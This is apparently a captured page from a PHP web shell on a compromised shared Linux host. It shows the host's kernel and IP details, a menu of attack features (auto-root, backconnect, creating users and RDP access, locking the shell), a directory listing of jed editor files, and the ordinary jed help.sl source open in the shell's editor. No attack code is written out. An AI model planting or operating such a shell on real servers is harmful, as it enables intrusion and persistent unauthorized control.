Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.171
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
jed /
lib /
[ HOME SHELL ]
Name
Size
Permission
Action
colors
[ DIR ]
drwxr-xr-x
abbrev.sl
838
B
-rw-r--r--
abbrev.slc
636
B
-rw-r--r--
abbrmisc.sl
2.15
KB
-rw-r--r--
abbrmisc.slc
1.98
KB
-rw-r--r--
aboutjed.hlp
252
B
-rw-r--r--
acompile.sl
2.04
KB
-rw-r--r--
acompile.slc
2.02
KB
-rw-r--r--
aprocess.sl
267
B
-rw-r--r--
aprocess.slc
238
B
-rw-r--r--
ashell.sl
7.69
KB
-rw-r--r--
ashell.slc
6.96
KB
-rw-r--r--
backups.sl
1.41
KB
-rw-r--r--
backups.slc
637
B
-rw-r--r--
bibtex.sl
17.05
KB
-rw-r--r--
bibtex.slc
12.74
KB
-rw-r--r--
binary.sl
589
B
-rw-r--r--
binary.slc
522
B
-rw-r--r--
bookmark.sl
1.6
KB
-rw-r--r--
bookmark.slc
1.2
KB
-rw-r--r--
brief.sl
5.98
KB
-rw-r--r--
buf.sl
3.41
KB
-rw-r--r--
buf.slc
1.96
KB
-rw-r--r--
bufed.sl
6.69
KB
-rw-r--r--
bufed.slc
4.68
KB
-rw-r--r--
bytecomp.sl
3.38
KB
-rw-r--r--
cal.sl
6.4
KB
-rw-r--r--
cal.slc
4.44
KB
-rw-r--r--
chglog.sl
3.13
KB
-rw-r--r--
chglog.slc
2.62
KB
-rw-r--r--
cmisc.sl
4.91
KB
-rw-r--r--
cmisc.slc
4
KB
-rw-r--r--
cmode.dfa
7.58
KB
-rw-r--r--
cmode.sl
40.06
KB
-rw-r--r--
cmode.slc
27.9
KB
-rw-r--r--
comments.sl
7.99
KB
-rw-r--r--
comments.slc
5.93
KB
-rw-r--r--
compat.sl
1.39
KB
-rw-r--r--
compile.sl
11.44
KB
-rw-r--r--
compile.slc
5.83
KB
-rw-r--r--
compress.sl
3.12
KB
-rw-r--r--
compress.slc
2.73
KB
-rw-r--r--
cpright.hlp
464
B
-rw-r--r--
ctags.sl
9.53
KB
-rw-r--r--
ctags.slc
7.34
KB
-rw-r--r--
cua.hlp
385
B
-rw-r--r--
cua.sl
7.56
KB
-rw-r--r--
cua.slc
3.91
KB
-rw-r--r--
cuamisc.sl
5.7
KB
-rw-r--r--
cuamisc.slc
1.63
KB
-rw-r--r--
dabbrev.sl
13.77
KB
-rw-r--r--
dabbrev.slc
8.05
KB
-rw-r--r--
dcl.sl
4.68
KB
-rw-r--r--
dcl.slc
4.5
KB
-rw-r--r--
defaults.sl
1.07
KB
-rw-r--r--
digraph.sl
3.8
KB
-rw-r--r--
digraph.slc
1.04
KB
-rw-r--r--
dired.sl
17.78
KB
-rw-r--r--
dired.slc
12.69
KB
-rw-r--r--
docbook.sl
38.33
KB
-rw-r--r--
docbook.slc
38.41
KB
-rw-r--r--
dos437.sl
998
B
-rw-r--r--
dos850.sl
1.3
KB
-rw-r--r--
dos852.sl
1.14
KB
-rw-r--r--
edt.hlp
1.6
KB
-rw-r--r--
edt.sl
14.55
KB
-rw-r--r--
edt.slc
7.93
KB
-rw-r--r--
emacs.hlp
227
B
-rw-r--r--
emacs.sl
6.86
KB
-rw-r--r--
emacs.slc
6.31
KB
-rw-r--r--
emacsmsc.sl
3.52
KB
-rw-r--r--
emacsmsc.slc
3.52
KB
-rw-r--r--
emul.sl
87
B
-rw-r--r--
f90.sl
22.75
KB
-rw-r--r--
f90.slc
18.39
KB
-rw-r--r--
ff90.sl
56
B
-rw-r--r--
ff90.slc
82
B
-rw-r--r--
filter.sl
646
B
-rw-r--r--
filter.slc
562
B
-rw-r--r--
folding.sl
13.47
KB
-rw-r--r--
folding.slc
11.13
KB
-rw-r--r--
fortran.sl
10.65
KB
-rw-r--r--
fortran.slc
7.79
KB
-rw-r--r--
generic.hlp
135
B
-rw-r--r--
gpg.sl
4.89
KB
-rw-r--r--
gpg.slc
4.51
KB
-rw-r--r--
help.sl
15.37
KB
-rw-r--r--
help.slc
12
KB
-rw-r--r--
history.sl
5.73
KB
-rw-r--r--
history.slc
2.2
KB
-rw-r--r--
hooks.sl
1.95
KB
-rw-r--r--
hooks.slc
1.74
KB
-rw-r--r--
html.dfa
6.13
KB
-rw-r--r--
html.sl
13.63
KB
-rw-r--r--
html.slc
10.06
KB
-rw-r--r--
ide.hlp
1.25
KB
-rw-r--r--
ide.sl
22.57
KB
-rw-r--r--
ide.slc
20.07
KB
-rw-r--r--
idl.sl
5.58
KB
-rw-r--r--
idl.slc
5.34
KB
-rw-r--r--
info.sl
19.92
KB
-rw-r--r--
info.slc
17.16
KB
-rw-r--r--
isearch.sl
7.7
KB
-rw-r--r--
isearch.slc
5.01
KB
-rw-r--r--
iso-lat2.sl
963
B
-rw-r--r--
iso-lat2.slc
1010
B
-rw-r--r--
iso-lat3.sl
1.3
KB
-rw-r--r--
iso-lat3.slc
994
B
-rw-r--r--
iso-latin.sl
625
B
-rw-r--r--
iso-latin.slc
420
B
-rw-r--r--
iso2xxx.sl
1.77
KB
-rw-r--r--
iso2xxx.slc
1.39
KB
-rw-r--r--
ispell.sl
2.99
KB
-rw-r--r--
ispell.slc
2.26
KB
-rw-r--r--
javamode.dfa
7.59
KB
-rw-r--r--
javamode.sl
3.24
KB
-rw-r--r--
javamode.slc
3.29
KB
-rw-r--r--
jed.hlp
356
B
-rw-r--r--
jed.rc
9.43
KB
-rw-r--r--
jed.sl
3.57
KB
-rw-r--r--
jed.slc
4.01
KB
-rw-r--r--
jedhelp.sl
1.43
KB
-rw-r--r--
jedhelp.slc
1.49
KB
-rw-r--r--
jedusage.sl
967
B
-rw-r--r--
jedusage.slc
1.08
KB
-rw-r--r--
keycode.sl
4.46
KB
-rw-r--r--
keydefs.sl
9.21
KB
-rw-r--r--
keydefs.slc
6.63
KB
-rw-r--r--
krconv.sl
1.86
KB
-rw-r--r--
krconv.slc
1.45
KB
-rw-r--r--
latex.sl
27.01
KB
-rw-r--r--
latex.slc
20.94
KB
-rw-r--r--
latex209.sl
2.24
KB
-rw-r--r--
latex209.slc
1.57
KB
-rw-r--r--
linux.sl
821
B
-rw-r--r--
lisp.sl
1.21
KB
-rw-r--r--
lisp.slc
1.1
KB
-rw-r--r--
ltx-comp.dat
2.01
KB
-rw-r--r--
ltx-math.sl
4.12
KB
-rw-r--r--
ltx-math.slc
3.95
KB
-rw-r--r--
lua.sl
13.05
KB
-rw-r--r--
macro.sl
2.08
KB
-rw-r--r--
macro.slc
1.95
KB
-rw-r--r--
mail.sl
4.82
KB
-rw-r--r--
mail.slc
4.17
KB
-rw-r--r--
mailalias.sl
6.21
KB
-rw-r--r--
mailalias.slc
3.61
KB
-rw-r--r--
mailedit.sl
10.79
KB
-rw-r--r--
mailutils.sl
3.52
KB
-rw-r--r--
makemode.sl
6.83
KB
-rw-r--r--
man.sl
1.8
KB
-rw-r--r--
man.slc
948
B
-rw-r--r--
maple.sl
2.14
KB
-rw-r--r--
maple.slc
1.91
KB
-rw-r--r--
matlab.sl
5.07
KB
-rw-r--r--
matlab.slc
4.07
KB
-rw-r--r--
menu.sl
4.7
KB
-rw-r--r--
menu.slc
3.91
KB
-rw-r--r--
menus.sl
2.31
KB
-rw-r--r--
menus.slc
1.74
KB
-rw-r--r--
mime.sl
1.98
KB
-rw-r--r--
mime.slc
1.75
KB
-rw-r--r--
mimemisc.sl
684
B
-rw-r--r--
mimemisc.slc
733
B
-rw-r--r--
mini.sl
4.54
KB
-rw-r--r--
mini.slc
3.73
KB
-rw-r--r--
minued.sl
8.99
KB
-rw-r--r--
minued.slc
4.37
KB
-rw-r--r--
misc.sl
4.01
KB
-rw-r--r--
misc.slc
2.51
KB
-rw-r--r--
modehook.sl
3.71
KB
-rw-r--r--
modehook.slc
1.64
KB
-rw-r--r--
modeinfo.sl
1.6
KB
-rw-r--r--
modeinfo.slc
1.48
KB
-rw-r--r--
most.sl
3.64
KB
-rw-r--r--
most.slc
3.13
KB
-rw-r--r--
mouse.sl
5.15
KB
-rw-r--r--
mousex.sl
8.33
KB
-rw-r--r--
mousex.slc
4.36
KB
-rw-r--r--
mswmouse.sl
6.85
KB
-rw-r--r--
mutekeys.sl
3.19
KB
-rw-r--r--
mutekeys.slc
1.49
KB
-rw-r--r--
nroff.sl
1.09
KB
-rw-r--r--
nroff.slc
709
B
-rw-r--r--
occur.sl
1.48
KB
-rw-r--r--
occur.slc
1.03
KB
-rw-r--r--
os.sl
4.22
KB
-rw-r--r--
paste.sl
509
B
-rw-r--r--
paste.slc
485
B
-rw-r--r--
perl.sl
33.63
KB
-rw-r--r--
perl.slc
13.77
KB
-rw-r--r--
perlxtra.sl
13.1
KB
-rw-r--r--
perlxtra.slc
5.18
KB
-rw-r--r--
php.sl
83.23
KB
-rw-r--r--
php.slc
54.16
KB
-rw-r--r--
pipe.sl
567
B
-rw-r--r--
pipe.slc
579
B
-rw-r--r--
popups.sl
9.03
KB
-rw-r--r--
popups.slc
8.88
KB
-rw-r--r--
preparse.sl
1.69
KB
-rw-r--r--
pscript.dfa
21.64
KB
-rw-r--r--
pscript.sl
4.79
KB
-rw-r--r--
pscript.slc
4.3
KB
-rw-r--r--
pushmode.sl
1.84
KB
-rw-r--r--
pushmode.slc
1.55
KB
-rw-r--r--
pymode.sl
17.24
KB
-rw-r--r--
pymode.slc
12.9
KB
-rw-r--r--
python.dfa
6.54
KB
-rw-r--r--
rcs.sl
4.27
KB
-rw-r--r--
rcs.slc
2.86
KB
-rw-r--r--
recent.sl
4.53
KB
-rw-r--r--
recent.slc
2.73
KB
-rw-r--r--
recentx.sl
10.13
KB
-rw-r--r--
recentx.slc
6.38
KB
-rw-r--r--
regexp.sl
1.63
KB
-rw-r--r--
regexp.slc
1.54
KB
-rw-r--r--
register.sl
4.11
KB
-rw-r--r--
register.slc
3.1
KB
-rw-r--r--
replace.sl
1.39
KB
-rw-r--r--
replace.slc
1.09
KB
-rw-r--r--
rmail.sl
38.64
KB
-rw-r--r--
rmail.slc
35.99
KB
-rw-r--r--
rot13.sl
497
B
-rw-r--r--
rot13.slc
379
B
-rw-r--r--
runpgm.sl
690
B
-rw-r--r--
sccs.sl
4.33
KB
-rw-r--r--
sccs.slc
2.54
KB
-rw-r--r--
search.sl
2.5
KB
-rw-r--r--
search.slc
2.29
KB
-rw-r--r--
seldisp.sl
806
B
-rw-r--r--
seldisp.slc
617
B
-rw-r--r--
sendmail.sl
7.02
KB
-rw-r--r--
sendmail.slc
5.73
KB
-rw-r--r--
session.sl
5.91
KB
-rw-r--r--
session.slc
3.46
KB
-rw-r--r--
shell.sl
6.26
KB
-rw-r--r--
shell.slc
3.32
KB
-rw-r--r--
shmode.dfa
1.57
KB
-rw-r--r--
shmode.sl
2.33
KB
-rw-r--r--
shmode.slc
1.91
KB
-rw-r--r--
simple.hlp
407
B
-rw-r--r--
site.sl
76.36
KB
-rw-r--r--
site.slc
36.67
KB
-rw-r--r--
slmode.dfa
3.22
KB
-rw-r--r--
slmode.sl
7.1
KB
-rw-r--r--
slmode.slc
5.79
KB
-rw-r--r--
sort.sl
1.21
KB
-rw-r--r--
sort.slc
1.13
KB
-rw-r--r--
sortmisc.sl
751
B
-rw-r--r--
sortmisc.slc
546
B
-rw-r--r--
spicemod.sl
1.06
KB
-rw-r--r--
spicemod.slc
1.03
KB
-rw-r--r--
srchmisc.sl
3.22
KB
-rw-r--r--
srchmisc.slc
2.56
KB
-rw-r--r--
syncproc.sl
3.58
KB
-rw-r--r--
syncproc.slc
2.36
KB
-rw-r--r--
syntax.sl
3.05
KB
-rw-r--r--
syntax.slc
1.47
KB
-rw-r--r--
tabs.sl
1.39
KB
-rw-r--r--
tabs.slc
1.31
KB
-rw-r--r--
tclmode.dfa
4.69
KB
-rw-r--r--
tclmode.sl
10.41
KB
-rw-r--r--
tclmode.slc
6.11
KB
-rw-r--r--
tex.sl
2.39
KB
-rw-r--r--
tex.slc
779
B
-rw-r--r--
texcom.dfa
1.5
KB
-rw-r--r--
texcom.sl
4.75
KB
-rw-r--r--
texcom.slc
4.12
KB
-rw-r--r--
textmode.sl
2.05
KB
-rw-r--r--
textmode.slc
974
B
-rw-r--r--
tiasm.sl
1.16
KB
-rw-r--r--
tiasm.slc
1.11
KB
-rw-r--r--
tmisc.sl
841
B
-rw-r--r--
tmisc.slc
786
B
-rw-r--r--
tmmode.sl
2.01
KB
-rw-r--r--
tmmode.slc
1.65
KB
-rw-r--r--
tmpfile.sl
2.83
KB
-rw-r--r--
tmpfile.slc
1.56
KB
-rw-r--r--
tpascal.dfa
7.65
KB
-rw-r--r--
tpascal.sl
5.77
KB
-rw-r--r--
tpascal.slc
5.51
KB
-rw-r--r--
untab.sl
1021
B
-rw-r--r--
untab.slc
569
B
-rw-r--r--
util.sl
544
B
-rw-r--r--
util.slc
293
B
-rw-r--r--
verilog.sl
1.49
KB
-rw-r--r--
verilog.slc
1.52
KB
-rw-r--r--
vhdlmode.sl
8.45
KB
-rw-r--r--
vhdlmode.slc
5.6
KB
-rw-r--r--
vmshelp.sl
2.25
KB
-rw-r--r--
win1250.sl
1.29
KB
-rw-r--r--
wmark.sl
4.36
KB
-rw-r--r--
wmark.slc
3.61
KB
-rw-r--r--
wmenu.sl
4.72
KB
-rw-r--r--
wmenu.slc
4.86
KB
-rw-r--r--
wordstar.hlp
909
B
-rw-r--r--
wordstar.sl
15.56
KB
-rw-r--r--
wordstar.slc
13.93
KB
-rw-r--r--
xformreg.sl
1.7
KB
-rw-r--r--
xformreg.slc
1.36
KB
-rw-r--r--
yankpop.sl
2.21
KB
-rw-r--r--
yankpop.slc
2.01
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : help.sl
%% help.sl require ("keydefs"); autoload ("glob", "glob"); % use '*help-slang*' for apropos and for describing functions % lets us reuse the same keymap/buffer private variable Help_Buf = "*help-slang*", Help_Keymap = "*help-slang*", Mini_Help_String = "?:this-message, RET:help-on-word, q:quit-help"; private define help_buf_switch_buffer_hook (prev_buffer) { if (whatbuf () == Help_Buf) { variable str = Mini_Help_String; if (_Reserved_Key_Prefix != NULL) str = _Reserved_Key_Prefix + Mini_Help_String; message (str); } } define help_slang_quit () { call("delete_window"); %variable buffers = [buffer_list(), pop()]; } % % use attach_keymap function, since the user may have deleted the % buffer in the meantime and we need to reattach the keymap % private define attach_keymap () { ifnot (keymap_p(Help_Keymap)) { make_keymap(Help_Keymap); definekey("help_apropos", "?", Help_Keymap); definekey("help_slang", "\r", Help_Keymap); definekey("help_slang_quit", "q", Help_Keymap); definekey_reserved("help_slang", "?", Help_Keymap); % for consistency } variable cbuf = whatbuf(); if (bufferp(Help_Buf)) { setbuf(Help_Buf); use_keymap(Help_Keymap); % attach keymap here setbuf(cbuf); } add_to_hook ("_jed_switch_active_buffer_hooks", &help_buf_switch_buffer_hook); } private variable Word_Chars = "0-9A-Z_a-z"; % no localized 'define_word' %% %!%+ %% %\function{extract_word} %% %\synopsis{extract_word} %% %\usage{String extract_word (String word_chars)} %% %\description %% % extract a word defined by \var{word_chars} from the current buffer %% %!%- private define extract_word (chars) { ifnot (markp()) { % skip leading non-word chars, including newline do { skip_chars ("^" + chars); ifnot (eolp()) break; } while (down_1()); bskip_chars (chars); % in case we started in the middle of a word push_mark(); skip_chars (chars); % mark the word } return bufsubstr(); } %!%+ %\variable{Help_Describe_Bindings_Show_Synopsis} %\synopsis{Used to control the searching of synopsis strings} %\usage{variable Help_Describe_Bindings_Show_Synopsis = 0;} %\description % If the value of this variable is non-zero, the % \sfun{describe_bindings} function will search through the % documentation for synopsis strings and display the resulting strings % along with the key bindings. Since this can be a time consuming % process for slow computers or slow filesystems, this feature is % turned off by default. %\example % variable Help_Describe_Bindings_Show_Synopsis = 1; %!%- custom_variable ("Help_Describe_Bindings_Show_Synopsis", 0); % Convert all controls chars in key and return ^ form. (\e --> ^[) private define convert_keystring (key) { variable new_key = ""; variable i = 1, n = strlen (key); while (i <= n) { variable the_key = substr (key, i, 1); i++; if (the_key[0] < ' ') the_key = strcat ("^", char (the_key[0] + '@')); new_key = strcat (new_key, the_key); } return new_key; } private define make_key_name_table () { variable key_vars = _apropos ("Global", "\\c^Key_", 8); variable a = Assoc_Type[String_Type]; foreach (key_vars) { variable key_name = (); variable vref = __get_reference (key_name); if (vref == NULL) continue; if (0 == __is_initialized (vref)) continue; variable value = @vref; if (typeof (value) != String_Type) continue; if (value == "") continue; key_name = str_replace_all (substr (key_name, 5, -1), "_", "-"); value = convert_keystring (value); a[value] = key_name; } return a; } private variable Key_Name_Table = make_key_name_table (); private define make_key_name_table (); % nolonger needed % a definition for a lonely Alt character causes problems, because no % Alt-XY is recognized $1 = __get_reference ("ALT_CHAR"); if ($1 != NULL) { $1 = @$1; if ($1 != 0) assoc_delete_key (Key_Name_Table, convert_keystring(char($1))); } % the definition of Key_Space is missing, but it is useful ifnot (assoc_key_exists(Key_Name_Table, " ")) Key_Name_Table[" "] = "Space"; private define keyeqs (seq, key) { variable n = strbytelen (key); if (strnbytecmp (seq, key, n)) return 0; return n; } %!%+ %\function{expand_keystring} %\synopsis{expand_keystring} %\usage{String expand_keystring (String key)} %\description % This function takes a key string that is suitable for use in a 'setkey' % definition and expands it to a human readable form. % For example, it expands ^X to the form "Ctrl-X", ^[ to "ESC", % ^[[A to "UP", etc... %\seealso{setkey} %!%- define expand_keystring (seq) { variable alt_char = 0; if (is_defined ("ALT_CHAR")) alt_char = @__get_reference ("ALT_CHAR"); seq = convert_keystring (seq); if (assoc_key_exists (Key_Name_Table, seq)) return Key_Name_Table[seq]; variable key_seqs = assoc_get_keys (Key_Name_Table); variable key_name, expanded_key = ""; forever { variable n = strbytelen (seq); if (n == 0) break; variable dn = 0; foreach (key_seqs) { variable key_seq = (); dn = keyeqs (seq, key_seq); if (dn) { key_name = Key_Name_Table[key_seq]; break; } } variable append_space = 1; if (dn == 0) { if ((seq[0] == '^') and (n > 1)) { variable ch = seq[1]; switch (ch) { case 'I': "TAB";} { case 'M': "RET";} { case '[': if ((alt_char == 27) and (seq[2] != '\0')) { append_space = 0; "Alt-"; } else "ESC"; } { % default "Ctrl-" + char (seq[1]); } key_name = (); dn = 2; } else { key_name = substr (seq, 1, 1); dn = strbytelen (key_name); } } expanded_key = strcat (expanded_key, key_name); if (append_space) expanded_key = strcat (expanded_key, " "); seq = substrbytes (seq, dn+1, -1); } if (strlen (expanded_key)) return substr (expanded_key, 1, strlen(expanded_key) - 1); return expanded_key; } %% show key public define showkey () { variable f, type; flush("Show Key: "); (type, f) = get_key_binding (); if (f == NULL) { vmessage ("Key \"%s\" is undefined.", expand_keystring (LASTKEY)); return; } variable ks = expand_keystring (LASTKEY); switch (type) { case 0: if (1 == is_defined (f)) vmessage ("Key \"%s\" runs the intrinsic function \"%s\".", ks, f); else vmessage ("Key \"%s\" runs the S-Lang function \"%s\".", ks, f); } { case 1: vmessage ("Key \"%s\" runs the internal function \"%s\".", ks, f); } { case 2: vmessage ("Key \"%s\" runs the keyboard macro \"%s\".", ks, f); } { case 3: vmessage ("Key \"%s\" inserts \"%s\".", ks, f); } { case 4: vmessage ("Key \"%s\" is a reference %S", ks, f); } } %!%+ %\function{help_for_apropos} %\synopsis{Void help_for_apropos (String)} %\description % find apropos context for a particular string %\seealso{apropos, help_apropos} %!%- define help_for_apropos (s) { if (s == NULL) return; ifnot (strlen (s)) return; % no funny strings variable a = _apropos("Global", s, 0xF); variable cbuf = whatbuf(); vmessage ("Found %d matches.", length (a)); pop2buf(Help_Buf); set_readonly (0); attach_keymap(); erase_buffer(); a = a[array_sort (a)]; foreach (__tmp(a)) { insert(()); newline(); } buffer_format_in_columns(); bob(); set_buffer_modified_flag(0); set_readonly (1); pop2buf(cbuf); } %!%+ %\function{apropos} %\synopsis{Void apropos (Void)} %\description % prompt for a string and find the apropos context %\seealso{help_apropos, help_for_apropos} %!%- define apropos () { if (MINIBUFFER_ACTIVE) return; variable s = read_mini("apropos:", "", ""); help_for_apropos(s); } define where_is () { variable n, cmd; if (MINIBUFFER_ACTIVE) return; cmd = read_with_completion ("Where is command:", "", "", 'F'); ifnot (strlen (cmd)) return; n = which_key (cmd); ifnot (n) return message ("Not on any keys."); message (expand_keystring ()); --n; loop (n) pop (); } define help_get_doc_string (f) { variable file; variable n, str; n = 0; str = NULL; do { file = extract_element (Jed_Doc_Files, n, ','); if (file == NULL) break; if (2 == file_status (file)) { foreach (glob (path_concat (file, "*.hlp"))) { file = (); str = get_doc_string_from_file (file, f); if (str != NULL) break; } } else str = get_doc_string_from_file (file, f); n++; } while (str == NULL); return (file, str); } define help_for_function (f) { variable cbuf = whatbuf (); variable doc_str, file; variable str = ""; % For variables such as TAB, whose value depends upon the buffer, % evaluate the variable in the current buffer. if (is_defined (f) < 0) { % __get_reference cannot return NULL since f is defined variable value = __get_reference (f); if (__is_initialized (value)) str = sprintf ("%S %s: value = %S\n", typeof (@value), f, @value); else str = ("%s: <Uninitialized Variable>\n", f); } else if (is_internal (f)) str = (f + ": internal function\n"); pop2buf (Help_Buf); set_readonly (0); erase_buffer (); vinsert (str); (file, doc_str) = help_get_doc_string (f); if (doc_str != NULL) vinsert ("%s[Obtained from file %s]", doc_str, file); else if (is_internal (f)) % this block can be removed { % once internal funs are documented vinsert ("\nUse call (\"%s\") to access from slang\n\n", f); insert (strcat ("You might bind an internal function to a key ", "using setkey() or definekey()\n")); } else { vinsert ("%s: Undocumented ", f); switch (is_defined (f)) { case 1: insert ("intrinsic function"); } { case 2: insert ("slang function"); } { insert (" and unknown"); } } insert ("\n-----------------------------------\n"); bob (); set_buffer_modified_flag (0); set_readonly (1); pop2buf (cbuf); } define help_do_help_for_object (prompt, flags) { if (MINIBUFFER_ACTIVE) return; variable objs = _apropos ("Global", "", flags); objs = objs[array_sort (objs)]; objs = strjoin (objs, ","); help_for_function (read_string_with_completion (prompt, "", objs)); } define describe_function () { help_do_help_for_object ("Describe Function:", 0x3); attach_keymap (); } define describe_variable () { help_do_help_for_object ("Describe Variable:", 0xC); attach_keymap (); } %!%+ %\function{help_apropos} %\synopsis{Void help_apropos (Void)} %\description % use either the marked region or else extract an alphanumeric keyword, % and then display S-Lang apropos context for this entry %\seealso{apropos, help_slang, help_for_apropos} %!%- define help_apropos () { extract_word(Word_Chars); help_for_apropos(); attach_keymap(); } %!%+ %\function{help_slang} %\synopsis{Void help_slang (Void)} %\description % use either the marked region or else extract an alphanumeric keyword, % and then display S-Lang function/variable help %\seealso{apropos, help_apropos, help_for_function} %!%- define help_slang () { extract_word(Word_Chars); help_for_function(); attach_keymap(); } define describe_mode () { variable flags, modstr; (modstr, flags) = what_mode (); modstr = extract_element (modstr, 0, ' '); ifnot (strlen (modstr)) modstr = "no"; ifnot (is_defined (modstr)) { modstr = strlow (modstr); ifnot (is_defined (modstr)) { modstr += "_mode"; ifnot (is_defined (modstr)) error ("Mode is not defined: " + modstr); } } help_for_function (modstr); } define describe_bindings () { flush("Building bindings.."); variable map = what_keymap (); variable buf = whatbuf (); pop2buf("*KeyBindings*"); variable cse = CASE_SEARCH; CASE_SEARCH = 1; erase_buffer (); dump_bindings (map); if (map != "global") { variable dump_end_mark = create_user_mark(); insert("\nInherited from the global keymap:\n"); push_spot(); dump_bindings("global"); pop_spot(); variable global_map = Assoc_Type[String_Type, ""]; while ( not eobp() ) { push_mark(); () = ffind("\t\t\t"); variable key = bufsubstr(); go_right (3); push_mark(); % Could have a newline here ifnot (fsearch("\t\t\t")) eob (); go_up_1(); () = dupmark(); global_map[key] = bufsubstr(); del_region (); delete_line (); } bob(); forever { push_mark(); () = ffind("\t\t\t"); key = bufsubstr(); if (key == "") break; variable global_map_key = global_map[key]; go_right (3); if (global_map_key != "") { push_mark(); () = fsearch("\t\t\t"); if (create_user_mark() > dump_end_mark) goto_user_mark(dump_end_mark); go_up_1(); () = dupmark(); if (bufsubstr() == global_map_key) { del_region (); delete_line (); push_spot(); eob(); (global_map_key,) = strreplace (global_map_key, "\n", "\\n", strlen(global_map_key)); vinsert ("%s\t\t\t%s\n", key, global_map_key); pop_spot(); } else { pop_mark_0(); go_down_1 (); } } else { () = fsearch ("\t\t\t"); bol (); } } } else { bob(); while ( not eobp() ) { ifnot (ffind("\t\t\t")) { go_up_1(); insert("\\n"); del(); } if (0 == down_1()) break; } } bob(); do { push_mark (); if (not (ffind("\t\t\t"))) { pop_mark(0); continue; } key = bufsubstr(); variable old_len = strlen(key); (key,) = strreplace(key, "ESC", "\e", strlen(key)); key = str_delete_chars(key, " "); (key,) = strreplace(key, "SPACE", " ", strlen(key)); (key,) = strreplace(key, "DEL", "\x7F", strlen(key)); (key,) = strreplace(key, "TAB", "\t", strlen(key)); bol(); () = replace_chars(old_len, expand_keystring(key)); if (what_column () <= TAB) insert_char('\t'); else { if ( what_column() <= TAB*4 ) deln( (what_column()-1)/TAB - 1 ); else deln(3); } } while (down_1 ()); bob(); EXIT_BLOCK { bob(); CASE_SEARCH = cse; set_buffer_modified_flag(0); pop2buf (buf); message ("done"); } if (Help_Describe_Bindings_Show_Synopsis == 0) return; variable synopsis = Assoc_Type[String_Type]; flush ("Looking up key descriptions..."); while (fsearch ("\t\t\t")) { go_right (3); if ( looking_at_char('@') || looking_at_char(' ') ) continue; if ( looking_at_char('.') ) { eol(); bskip_chars("a-zA-Z_"); } push_mark(); ifnot ( ffind_char('(') ) eol(); variable fun = bufsubstr(); variable dsc; if (assoc_key_exists(synopsis, fun)) dsc = synopsis[fun]; else { (,dsc) = help_get_doc_string(fun); if (dsc == NULL) dsc = ""; synopsis[fun] = dsc; } if (dsc != "") { eol(); dsc = substr(dsc, is_substr(dsc, "\n SYNOPSIS\n ")+12, strlen(dsc)); whitespace( 48 - what_column() ); insert(substr(dsc, 1, is_substr(dsc, "\n")-1) ); } eol (); } }
Close